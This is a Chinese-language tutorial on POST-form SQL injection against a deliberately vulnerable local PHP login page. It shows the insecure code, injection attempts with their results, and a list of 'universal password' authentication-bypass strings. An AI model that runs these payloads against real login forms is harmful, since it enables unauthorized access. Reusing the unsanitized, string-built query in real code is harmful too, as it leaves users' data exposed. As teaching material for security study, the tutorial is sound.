sql_injection之post注入
1、代码篇
</html>
<center>
<form action="#" method="post">
姓名:<input type="text" name="user"><br>
密码:<input type="text" name="pass"><br>
<input type="submit" name="submit" value="提交">
</center>
</html>
<?php
/*************************
author:Bloodero
sql_injection_post
*************************/ include("../conn.php");
error_reporting(0);
if(isset($_POST['submit'])){
if(!empty($_POST['user']) && !empty($_POST['pass'])){
$user=$_POST['user'];
$pass=$_POST['pass'];
echo "你当前输入用户名:".$user."<br>";
echo "你当前输入密码:".$pass."<br>";
$sql="select * from user where username='$user' and password='$pass'";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if(empty($row)){
echo "<script>alert('登陆失败')</script>";
}
else{
echo "当前用户:<br>";
echo "id:".$row['id']."<br>";
echo "username:".$row['username']."<br>";
echo "password:".$row['password']."<br>";
}
}
else{
echo "<script>alert('用户名/密码不能为空')</script>";
}
}
else{
exit();
}
?>
2、注入篇:http://localhost/pentest/sql/sql_injection_post.php
正确输入:
你当前输入用户名:admin
你当前输入密码:pass
当前用户:
id:1
username:admin
password:pass
尝试注入:
你当前输入用户名:1'
你当前输入密码:1 登陆失败
你当前输入用户名:1' #
你当前输入密码:1 登陆失败
你当前输入用户名:1' or 1=1#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass 登陆成功
你当前输入用户名:1' or 1=2#
你当前输入密码:1 登陆失败
这里我解释一下原理:

当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;
当我们接or 1=1时,恒真,所以就会查询所有;
你当前输入用户名:1' and 1=2 union select * from user#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass
这里的原理不懂的可以去看看第一发sql_injection;
3、防注入
对post过来的数据,进行处理;会有一篇进行详细讲解
4、通过post注入,引生的万能密码
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
admin' or 'a'='a 密码随便
'or 1=1/*
User: something Pass: ' or '1'='1
1'or'1'='1
admin' or 1=1/*
sql_injection之post注入的更多相关文章
- sql_injection之基本get注入
1.代码篇 <?php error_reporting(0); include("../conn.php"); if(isset($_GET['id'])){ $id=$_G ...
- 另类的SQL注入方法
前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/ ...
- 利用insert,update和delete注入获取数据
0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...
- SQL 注入防御方法总结
SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入可以参见:https://en.wikipedia.org/wiki/SQL_injection S ...
- ModSecurity SQL注入攻击
ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...
- SQL注入攻击技巧总结
0×01 你要知道目前有哪些数据库 微软公司旗下的: Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或 ...
- PHP防止SQL注入与几种正则表达式讲解
注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) { echo <b& ...
- 防御SQL注入的方法总结
这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下 SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难 ...
- PHP防SQL注入攻击
PHP防SQL注入攻击 收藏 没有太多的过滤,主要是针对php和mysql的组合. 一般性的防注入,只要使用php的 addslashes 函数就可以了. 以下是一段copy来的代码: PHP代码 $ ...
随机推荐
- PHP面试经常被提到的问题
1. Include 与 require的区别,require和require_once的效率哪个高? PHP在遇到include时就解释一次,如果页面中出现10次include,php就解释10次, ...
- behavior
http://www.css88.com/book/css/properties/only-ie/behavior.htm 语法: behavior:<url> | url(#objID) ...
- Python中用dict统计列表中元素出现的次数
01 Python增加元素,不像其他语言使用现实的操作接口,只需要dict[1]=3,如果字典中不存在1,则直接新增元素键值对(1,3),如果存在则替换键1为3. if key in dict:判断出 ...
- 深度学习读书笔记之RBM(限制波尔兹曼机)
深度学习读书笔记之RBM 声明: 1)看到其他博客如@zouxy09都有个声明,老衲也抄袭一下这个东西 2)该博文是整理自网上很大牛和机器学习专家所无私奉献的资料的.具体引用的资料请看参考文献.具体的 ...
- 记一次java程序out of memory问题
在一个比较大批量的pdf转String项目中遇到了:java.lang.OutOfMemoryError: Java heap space错误 第一反应肯定是程序没有写好,大量循环时没有把程序中没有用 ...
- Machine Learning CodeForces - 940F(带修改的莫队)
题解原文地址:https://www.cnblogs.com/lujiaju6555/p/8468709.html 给数组a,有两种操作,1 l r查询[l,r]中每个数出现次数的mex,注意是出现次 ...
- 20135319zl字符集报告
字符集实验 ASCII 首先,查找ZHULI五个字符对应的ASCII码,5a 48 55 4c 49. 然后,用vim打开一个空文档,按下":",输入%!xxd 然后,输入 000 ...
- C++接口继承与实现继承的区别和选择
1.接口继承与实现继承的区别 <Effective C++>条款三十四:区分接口继承和实现继承中介绍的比较啰嗦,概括地说需要理解三点: (1)纯虚函数只提供接口继承,但可以被实现: (2) ...
- MySQL 第五篇:索引原理与慢查询优化
一 介绍 为何要有索引? 一般的应用系统,读写比例在10:1左右,而且插入操作和一般的更新操作很少出现性能问题,在生产环境中,我们遇到最多的,也是最容易出问题的,还是一些复杂的查询操作,因此对查询语句 ...
- 【题解】Arpa's letter-marked tree and Mehrdad's Dokhtar-kosh paths Codeforces 741D DSU on Tree
Prelude 很好的模板题. 传送到Codeforces:(* ̄3 ̄)╭ Solution 首先要会DSU on Tree,不会的看这里:(❤ ω ❤). 众所周知DSU on Tree是可以用来处 ...